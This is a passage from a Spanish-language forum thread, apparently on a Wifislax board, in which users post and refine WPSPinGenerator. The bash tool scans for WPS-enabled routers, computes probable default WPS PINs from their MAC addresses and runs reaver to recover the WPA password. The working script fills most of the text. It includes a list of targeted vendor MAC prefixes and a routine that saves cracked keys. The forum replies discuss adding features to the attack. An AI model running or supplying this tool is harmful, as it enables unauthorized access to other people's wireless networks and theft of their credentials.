ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS1=$PIN
if [ $PIN -lt 10000000 ] ; then
PINWPS1=0$PIN
if [ $PIN -lt 1000000 ] ; then
PINWPS1=00$PIN
if [ $PIN -lt 100000 ] ; then
PINWPS1=000$PIN
if [ $PIN -lt 10000 ] ; then
PINWPS1=0000$PIN
if [ $PIN -lt 1000 ] ; then
PINWPS1=00000$PIN
if [ $PIN -lt 100 ] ; then
PINWPS1=000000$PIN
if [ $PIN -lt 10 ] ; then
PINWPS1=0000000$PIN
fi
fi
fi
fi
fi
fi
fi
fi
STRING2=`expr $STRING '+' 8`
PIN=`expr 10 '*' $STRING2`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS2=$PIN
if [ $PIN -lt 10000000 ] ; then
PINWPS2=0$PIN
if [ $PIN -lt 1000000 ] ; then
PINWPS2=00$PIN
if [ $PIN -lt 100000 ] ; then
PINWPS2=000$PIN
if [ $PIN -lt 10000 ] ; then
PINWPS2=0000$PIN
if [ $PIN -lt 1000 ] ; then
PINWPS2=00000$PIN
if [ $PIN -lt 100 ] ; then
PINWPS2=000000$PIN
if [ $PIN -lt 10 ] ; then
PINWPS2=0000000$PIN
fi
fi
fi
fi
fi
fi
fi
fi
STRING3=`expr $STRING '+' 14`
PIN=`expr 10 '*' $STRING3`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS3=$PIN
if [ $PIN -lt 10000000 ] ; then
PINWPS3=0$PIN
if [ $PIN -lt 1000000 ] ; then
PINWPS3=00$PIN
if [ $PIN -lt 100000 ] ; then
PINWPS3=000$PIN
if [ $PIN -lt 10000 ] ; then
PINWPS3=0000$PIN
if [ $PIN -lt 1000 ] ; then
PINWPS3=00000$PIN
if [ $PIN -lt 100 ] ; then
PINWPS3=000000$PIN
if [ $PIN -lt 10 ] ; then
PINWPS3=0000000$PIN
fi
fi
fi
fi
fi
fi
fi
fi
if [ "$CHECKESSID" = "FTE" ];
then
FINESSID=$(echo $ESSID | cut -d '-' -f2)
PAREMACDIRTY=$(echo $FINBSSID | cut -d ':' -f1)
PAREMAC=$(echo $PAREMACDIRTY | tr -d ':')
MACESSID=$(echo $PAREMAC$FINESSID)
CONVERTEDMACESSID=$(printf '%d\n' 0x$MACESSID)
RAIZ=`expr '(' $CONVERTEDMACESSID '%' 10000000 ')'`
STRING4=`expr $RAIZ '+' 7`
PIN=`expr 10 '*' $STRING4`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS4=$PIN
if [ $PIN -lt 10000000 ] ; then
PINWPS4=0$PIN
if [ $PIN -lt 1000000 ] ; then
PINWPS4=00$PIN
if [ $PIN -lt 100000 ] ; then
PINWPS4=000$PIN
if [ $PIN -lt 10000 ] ; then
PINWPS4=0000$PIN
if [ $PIN -lt 1000 ] ; then
PINWPS4=00000$PIN
if [ $PIN -lt 100 ] ; then
PINWPS4=000000$PIN
if [ $PIN -lt 10 ] ; then
PINWPS4=0000000$PIN
fi
fi
fi
fi
fi
fi
fi
fi
fi
}
# Comprobar si la interface está conectada a internet
CheckETH() {
clear
if [ "$(ip route|grep default)" != "" ]; then
ETH=$(ip route|awk '/default/ {print $5}')
HW_WIFI=$(ifconfig $WIFI|awk '/HW/ {print $5}'|cut -d- -f1,2,3,4,5,6)
HW_ETH=$(ifconfig $ETH|awk '/HW/ {print $5}'|tr ':' '-')
if [ "$HW_ETH" = "$HW_WIFI" ];then
echo
echo "[0;31mPara evitar errores, la interface \"$ETH\" no debe estar conectada a internet! [0m"
echo ""
echo "Presiona enter para volver al menú"
read junk
menu
fi
fi
}
# Funcion de seleccionar el objetivo a atacar, la mayor parte del codigo ha sido sacado del script Multiattack de M.K
SeleccionarObjetivo() {
i=0
redesWPS=0
while read BSSID Channel RSSI WPSVersion WPSLocked ESSID;do
longueur=${#BSSID}
if [ $longueur -eq 17 ] ; then
i=$(($i+1))
WPSbssid[$i]=$BSSID
WPSchanel[$i]=$Channel
WPSessid[$i]=$ESSID
PWR[$i]=$RSSI
fi
redesWPS=$i
done < $TMP/wash_capture.$$
if [ "$redesWPS" = "0" ];then
clear
echo ""
echo ""
echo " * * * A T E N C I O N * * * "
echo ""
echo " No se ha encontrado ninguna RED "
echo " con WPS activado en la captura"
echo ""
echo " Pulsa INTRO para volver al menu"
read junk
menu
else
clear
echo ""
echo " [1;32mLas siguientes redes son susceptibles de ataque con REAVER[0m"
echo ""
echo " MAC SOPORTADA? PWR Channel ESSID"
echo ""
countWPS=0
while [ 1 -le $i ]; do
countWPS=$(($countWPS+1))
MAC=$(echo ${WPSbssid[$countWPS]}|rev|cut -d: -f4-|rev)
if [ "$(echo $MACs_Soportadas|grep ':'|grep $MAC)" != "" ]; then
SOPORTADA="[1;32mSI[0m"
else
SOPORTADA="NO"
fi
echo " $countWPS) ${WPSbssid[$countWPS]} $SOPORTADA ${PWR[$countWPS]} ${WPSchanel[$countWPS]} ${WPSessid[$countWPS]}"
i=$(($i-1))
done
i=$redesWPS
echo ""
echo " 0) Para volver al menu "
echo ""
echo ""
echo " --> [1;36mSeleccione una red[0m"
read WPSoption
set -- ${WPSoption}
if [ $WPSoption -le $redesWPS ]; then
if [ "$WPSoption" = "0" ];then
menu
fi
ESSID=${WPSessid[$WPSoption]}
BSSID=${WPSbssid[$WPSoption]}
CHANEL=${WPSchanel[$WPSoption]}
clear
else
echo " Opcion no valida... vuelva a elegir"
sleep 2
SeleccionarObjetivo
fi
fi
WPSPIN
ShowWPA="OFF"
InfoAP="ON"
menu
}
# Escanear con wash
WashScan() {
if [ "$WIFI" = "" ]; then auto_select_monitor && WashScan; fi
CheckETH
xterm -iconic -e wash -i $WIFI -C -o $TMP/wash_capture.$$ &
WashPID=$!
sec_rem=30
sleep 30 && kill $WashPID &>/dev/null &
while true; do
let sec_rem=$sec_rem-1
interval=$sec_rem
seconds=`expr $interval % 60`
interval=`expr $interval - $seconds`
sleep 1
clear
echo "[1;33mEscaneando en busca de objetivos... [1;36m$seconds[0m [1;33msegundos[0m"
echo ""
cat $TMP/wash_capture.$$
if [ ! -e /proc/$WashPID ]; then
sleep 1
break
fi
done
SeleccionarObjetivo
}
auto_select_monitor() {
#! /bin/bash
#############################################################################################################
# Programa: monitormode
# Autor: M.K. Maese Kamara
#
# Detectar tarjetas y montar en modo monitor
#############################################################################################################
#poner tarjeta en modo monitor AUTOMATICO
clear
t=0
if [ "$WIFI" = "" ]; then
> $TEMP/wireless.txt
cards=`airmon-ng|cut -d ' ' -f 1 | awk {'print $1'} |grep -v Interface #|grep -v mon `
echo $cards >> $TEMP/wireless.txt
tarj1=`cat $TEMP/wireless.txt | cut -d ' ' -f 1 | awk '{print $1}'`
tarj2=`cat $TEMP/wireless.txt | cut -d ' ' -f 2 | awk '{print $1}'`
rm -rf $TEMP/wireless.txt
if [ "$tarj1" = "" ]; then
clear
echo " * * * A T E N C I O N * * * "
echo ""
echo " No se ha encontrado ninguna tarjeta Wireless en este equipo"
echo ""
echo " Pulsa ENTER para volver al menu"
read yn
menu
fi
if [ "$tarj1" = "$tarj2" ]; then
tarj2=""
fi
tarjselec=$tarj1
if [ "$tarj2" != "" ] ;then
echo
echo
echo " Se han encontrado las siguientes tarjetas wifi en este equipo"
echo
airmon-ng |awk 'BEGIN { print "Tarjeta Chip Driver\n------- ------------------ ----------" } \
{ printf "%-8s %-8s %-1s %10s\n", $1, $2, $3, $4 | "sort -r"}' |grep -v Interface |grep -v Chipset
echo " selecciona una para utilizarla en modo monitor"
echo
tarj_wire=""
tarjselec=""
function selectarj {
select tarjselec in `airmon-ng | awk {'print $1 | "sort -r"'} |grep -v Interface |grep -v Chipset `; do
break;
done
if [ "$tarjselec" = "" ]; then
echo " La opcion seleccionada no es valida"
echo " Introduce una opcion valida..."
selectarj
fi
}
if [ "$tarjselec" = "" ]; then
selectarj
fi
echo ""
echo "Interface seleccionado: $tarjselec"
fi
else
echo
fi
tarjmonitor=${tarjselec:0:3}
if [ "$tarjmonitor" != "mon" ] && [ "$WIFI" = "" ];then
echo ""
echo ""
echo " Se está montando la tarjeta en modo monitor"
echo ""
sleep 1
#limpieza interface
ifconfig $tarjselec down >/dev/null
ifconfig $tarjselec up >/dev/null
airmon-ng start $tarjselec >/dev/null
cards=`airmon-ng|cut -d ' ' -f 1 |awk {'print $1 | "sort -d"'} |grep -v Interface |grep -v wlan`
largo=${#cards}
final=$(($largo-4))
WIFI=${cards:final}
echo " $WIFI ----> Se utlilizara en modo monitor."
sleep 2
else
if [ "$WIFI" = "" ];then
WIFI="$tarjselec"
echo ""
echo " $WIFI ----> Se utlilizara en modo monitor."
sleep 2
fi
fi
clear
}
ObtenerWPA() {
CheckETH
if [ "$CHECKESSID" = "FTE" ]; then
PIN=$PINWPS4
else
PIN=$PINWPS1
fi
xterm -iconic -e reaver -i $WIFI -b $BSSID -p $PIN -o $TMP/reaver_capture.$$ &
ReaverPID=$!
sleep 40 && kill $ReaverPID &>/dev/null &
while true; do
sleep 1
clear
echo "[1;33mObteniendo clave WPA...[0m"
echo ""
cat $TMP/reaver_capture.$$
if [ ! -e /proc/$ReaverPID ]; then
sleep 1
break
fi
done
echo ""
WPA_KEY=$(cat $TMP/reaver_capture.$$|grep WPA|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)
if [ "$WPA_KEY" = "" ]; then
echo "[1;31mNo ha sido posible obtener la clave WPA[0m"
ShowWPA="OFF"
else
WPA_TXT="$(echo $ESSID)_$(echo $BSSID|tr ':' '-').txt"
echo "ESSID: $ESSID" > $TMP/$WPA_TXT
echo "PIN WPS: $PIN" >> $TMP/$WPA_TXT
echo "CLAVE WPA: $WPA_KEY" >> $TMP/$WPA_TXT
cat $TMP/$WPA_TXT|sed -e 's/$/\r/' > $KEYS/$WPA_TXT
ShowWPA="ON"
echo "[1;31mLa clave ha sido guardada en \"$KEYS/$WPA_TXT\"[0m"
fi
echo ""
echo "Presiona enter para volver al menu"
read junk
menu
}
#Función de desmontar tarjeta y salir, sacada de el script Multiattack de M.K.
function DESMONTAR_tarj_y_salir {
if [ "$WIFI" != "" ]; then
clear
echo ""
echo ""
echo ""
echo " ####################################################################"
echo " ### ###"
echo " ### ¿ quiere desnontar la tarjeta antes de salir? ###"
echo " ### ###"
echo " ### (n) no -> Salir sin desmontar ###"
echo " ### (m) Menú -> Volver al menú principal ###"
echo " ### ENTER -> Desmontar y Salir ###"
echo " ### ###"
echo " ### ###"
echo " ####################################################################"
echo ""
echo ""
read salida
set -- ${salida}
if [ "$salida" = "m" ]; then
menu
fi
if [ "$salida" = "n" ]; then
echo ""
echo " Hasta Pronto..."
sleep 2
clear
exit
fi
echo "$WIFI Ha sido desmontada"
airmon-ng stop $WIFI >/dev/null
fi
echo ""
echo " Hasta Pronto..."
sleep 2
clear
exit
}
menu() {
# Bienvenida
clear
echo "[0;31m
__ __ ___ _
/ / /\ \ \____ ___ / _ (_)_ __
\ \/ \/ / _ \/ __| / /_)/ | /_ \
\ /\ /| |_) \__ \ / ___/| | | | |
\/ \/ | __/|___/ \/ |_|_| |_| [1;33mGenerator $VERSION[0;31m
|_| "
echo ""
echo " ****************************************************"
echo " * [1;32m<<[0m Based on ZhaoChunsheng work & kcdtv script [1;32m>>[0;31m *"
echo " ****************************************************[0m "
####################################################################
sleep 1
echo "---------------------------------------"
if [ "$InfoAP" = "ON" ]; then
echo "INFO AP OBJETIVO"
echo ""
echo " ESSID = $ESSID"
echo " Canal = $CHANEL"
echo " MAC del AP = $BSSID"
if [ "$CHECKESSID" = "FTE" ]; then
echo " Posible pin WPS = $PINWPS4"
else
echo " Posible pin WPS = $PINWPS1"
fi
if [ "$ShowWPA" = "ON" ]; then
echo " Clave WPA = $WPA_KEY"
fi
echo "---------------------------------------"
fi
echo ""
echo " 1) Buscar objetivos con WPS activado"
echo ""
echo " 2) Obtener clave WPA con reaver"
echo ""
echo " 3) Seleccionar otro objetivo"
echo ""
echo " 0) Salir"
echo ""
read -p " #> " CHOISE
echo ""
case $CHOISE in
1 ) WashScan;;
2 ) ObtenerWPA;;
3 ) SeleccionarObjetivo;;
0 ) DESMONTAR_tarj_y_salir;;
* ) echo "Opción incorrecta"; menu;;
esac
}
# Comprobacion de usuario
if [ "$(whoami)" != "root" ]; then
echo -e '\e[1;31m
¡¡¡ Debes ser root para ejecutar este script !!!
Prueba: sudo $0
\e[0m'
exit 1
fi
# Crear directorios si no existen
if [ ! -d $TMP ]; then mkdir -p $TMP; else rm -rf $TMP/*; fi
if [ ! -d $KEYS ]; then mkdir -p $KEYS; else rm -rf $KEYS/*; fi
if [ -d $HOME/Desktop/Wireless-Keys ]; then
if [ ! -d $HOME/Desktop/Wireless-Keys/$SCRIPT-keys ]; then
ln -s $KEYS $HOME/Desktop/Wireless-Keys/$SCRIPT-keys
fi
fi
menu
-
osea que lo que tu quieres es un modulo para llevartelo a otra distribucion que no es wifislax 4.3,
es correcto?
-
no esqq yoo pensee q ese codigoo se podria usar como un modulo para mejorar la version q tengo del WPSPinGenerator en wifislax
-
no esqq yoo pensee q ese codigoo se podria usar como un modulo para mejorar la version q tengo del WPSPinGenerator en wifislax
chico, no me entero, si ya tienes el wifislax 4.3 ya tienes el wpspin generator actualizado, este tema es solo para propuestas para mejorarlo, y no es una version mejorada del que hay.
no se si lo has entendido
si te sirve de consuelo que lo dudo, ya que entiendo que no te da el pin correcto, en breve tendras un modulo con una gui
-
ahh muchass grax bueno esq pensee q el codigo era pa mejorarr el WPSPinGenerator del q yaa tengo bueno perdone x las molestias ;D
-
" en breve tendras un modulo con una gui >:( >:(" se la pedí a los reyes y me la van a traer . ;D
-
^-^ ahh no see yoo si te lo traeran haha ;) bromaa pues la esperamoss >:(
-
aqui os dejo un adelanto,
como veis en el video se estan puliendo algunos bugs
en el momento que niroz la termine, newuser la subira a modulos.
-
Buenas , mi pregunta es ¿ habría posibilidades de modificar el script del WPSPinGenerator y que integrara el tiempo de scanning de forma similar al inflator 1.0 y que apareciera la opción de 5,15,30 segundos 1,5,15 minutos y además diera la posibilidad de all channel o de canales sueltos (1-14) igual que en inflator ? ¿ creeis que estas modificaciones serian acertadas ?
USUARIONUEVO apúntalo en la libreta "cuando tengo ganas " . Feliz año y a sobrevivir....
Está muy bien ¿ lo de tiempo de scanning y los canales ha sido posible?
-
Buenas , mi pregunta es ¿ habría posibilidades de modificar el script del WPSPinGenerator y que integrara el tiempo de scanning de forma similar al inflator 1.0 y que apareciera la opción de 5,15,30 segundos 1,5,15 minutos y además diera la posibilidad de all channel o de canales sueltos (1-14) igual que en inflator ? ¿ creeis que estas modificaciones serian acertadas ?
USUARIONUEVO apúntalo en la libreta "cuando tengo ganas " . Feliz año y a sobrevivir....
Está muy bien ¿ lo de tiempo de scanning y los canales ha sido posible?
si
-
para el video en el segundo 52 ;)
-
Gracias,campeones.... >:( >:( >:(
-
Buenas , mi pregunta es ¿ habría posibilidades de modificar el script del WPSPinGenerator y que integrara el tiempo de scanning de forma similar al inflator 1.0 y que apareciera la opción de 5,15,30 segundos 1,5,15 minutos y además diera la posibilidad de all channel o de canales sueltos (1-14) igual que en inflator ? ¿ creeis que estas modificaciones serian acertadas ?
USUARIONUEVO apúntalo en la libreta "cuando tengo ganas " . Feliz año y a sobrevivir....
VOY A VER , si le paso esto a geminis , que le pedi otra modsificacion tambien, ...""que revise los ESSID, y si no coinciden aunque la mac sea valida aparezca como no soportado"
por ejemplo -.-.-.
pongamos que la mac
11:22:33:xx:xx:xx esta soportada para ESSID WLAN_XXXX
PUES LO QUE QUIERO , es que si hay macs
11:22:33 , pero el ESSID no es WLAN_XXXX , aparezcan como no soportadas ,por que hay macs iguales para distintos isp y unos valen y otros no. ,por eso comprobar ESSID.
Añadido comprobación de ESSID, funciona de la siguiente manera:
Si coinciden el BSSID y el ESSID muestra un "SI"
Si coincide el BSSID pero no coincide el ESSID muestra un "??"
Si no coincide ninguno muestra un "NO"
Lo que dice popeye7 me lo apunto para la siguiente.
#!/bin/bash
# Variables globales
SCRIPT="WPSPinGenerator"
VERSION="1.10"
KEYS="$HOME/swireless/$SCRIPT/Keys"
TMP="/tmp/$SCRIPT"
MACs_Soportadas='
ESSID BSSID
-------- --------
FTE-???? 04:C0:6F
FTE-???? 20:2B:C1
FTE-???? 28:5F:DB
FTE-???? 80:B6:86
FTE-???? 84:A8:E4
FTE-???? B4:74:9F
FTE-???? BC:76:70
FTE-???? CC:96:A0
vodafone???? 62:53:D4
vodafone???? 5C:4C:A9
vodafone???? 62:A8:E4
vodafone???? 62:C0:6F
vodafone???? 62:C6:1F
vodafone???? 62:E8:7B
vodafone???? 6A:53:D4
vodafone???? 6A:55:9C
vodafone???? 6A:C7:14
vodafone???? 72:C0:6F
vodafone???? 72:C7:14
vodafone???? 72:E8:7B
vodafone???? 62:C7:14
vodafone???? 6A:A8:E4
vodafone???? 72:55:9C
Belkin_N+_?????? 00:22:75
belkin.??? 08:86:3B
belkin.??? 00:1C:DF
WLAN_???? 00:A0:26
ZyXEL 50:57:F0
?? C8:3A:35
'
# Algoritmos del script WPSPIN
WPSPIN() {
CHECKESSID=$(echo $ESSID | cut -d '-' -f1)
DEBUTBSSID=$(echo $BSSID | cut -d ":" -f1,2,3)
CHECKBSSID=$(echo $DEBUTBSSID | tr -d ':')
FINBSSID=$(echo $BSSID | cut -d ':' -f4-)
MAC=$(echo $FINBSSID | tr -d ':')
CONVERTEDMAC=$(printf '%d\n' 0x$MAC)
STRING=`expr '(' $CONVERTEDMAC '%' 10000000 ')'`
PIN=`expr 10 '*' $STRING`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS1=$PIN
if [ $PIN -lt 10000000 ] ; then
PINWPS1=0$PIN
if [ $PIN -lt 1000000 ] ; then
PINWPS1=00$PIN
if [ $PIN -lt 100000 ] ; then
PINWPS1=000$PIN
if [ $PIN -lt 10000 ] ; then
PINWPS1=0000$PIN
if [ $PIN -lt 1000 ] ; then
PINWPS1=00000$PIN
if [ $PIN -lt 100 ] ; then
PINWPS1=000000$PIN
if [ $PIN -lt 10 ] ; then
PINWPS1=0000000$PIN
fi
fi
fi
fi
fi
fi
fi
fi
STRING2=`expr $STRING '+' 8`
PIN=`expr 10 '*' $STRING2`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS2=$PIN
if [ $PIN -lt 10000000 ] ; then
PINWPS2=0$PIN
if [ $PIN -lt 1000000 ] ; then
PINWPS2=00$PIN
if [ $PIN -lt 100000 ] ; then
PINWPS2=000$PIN
if [ $PIN -lt 10000 ] ; then
PINWPS2=0000$PIN
if [ $PIN -lt 1000 ] ; then
PINWPS2=00000$PIN
if [ $PIN -lt 100 ] ; then
PINWPS2=000000$PIN
if [ $PIN -lt 10 ] ; then
PINWPS2=0000000$PIN
fi
fi
fi
fi
fi
fi
fi
fi
STRING3=`expr $STRING '+' 14`
PIN=`expr 10 '*' $STRING3`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
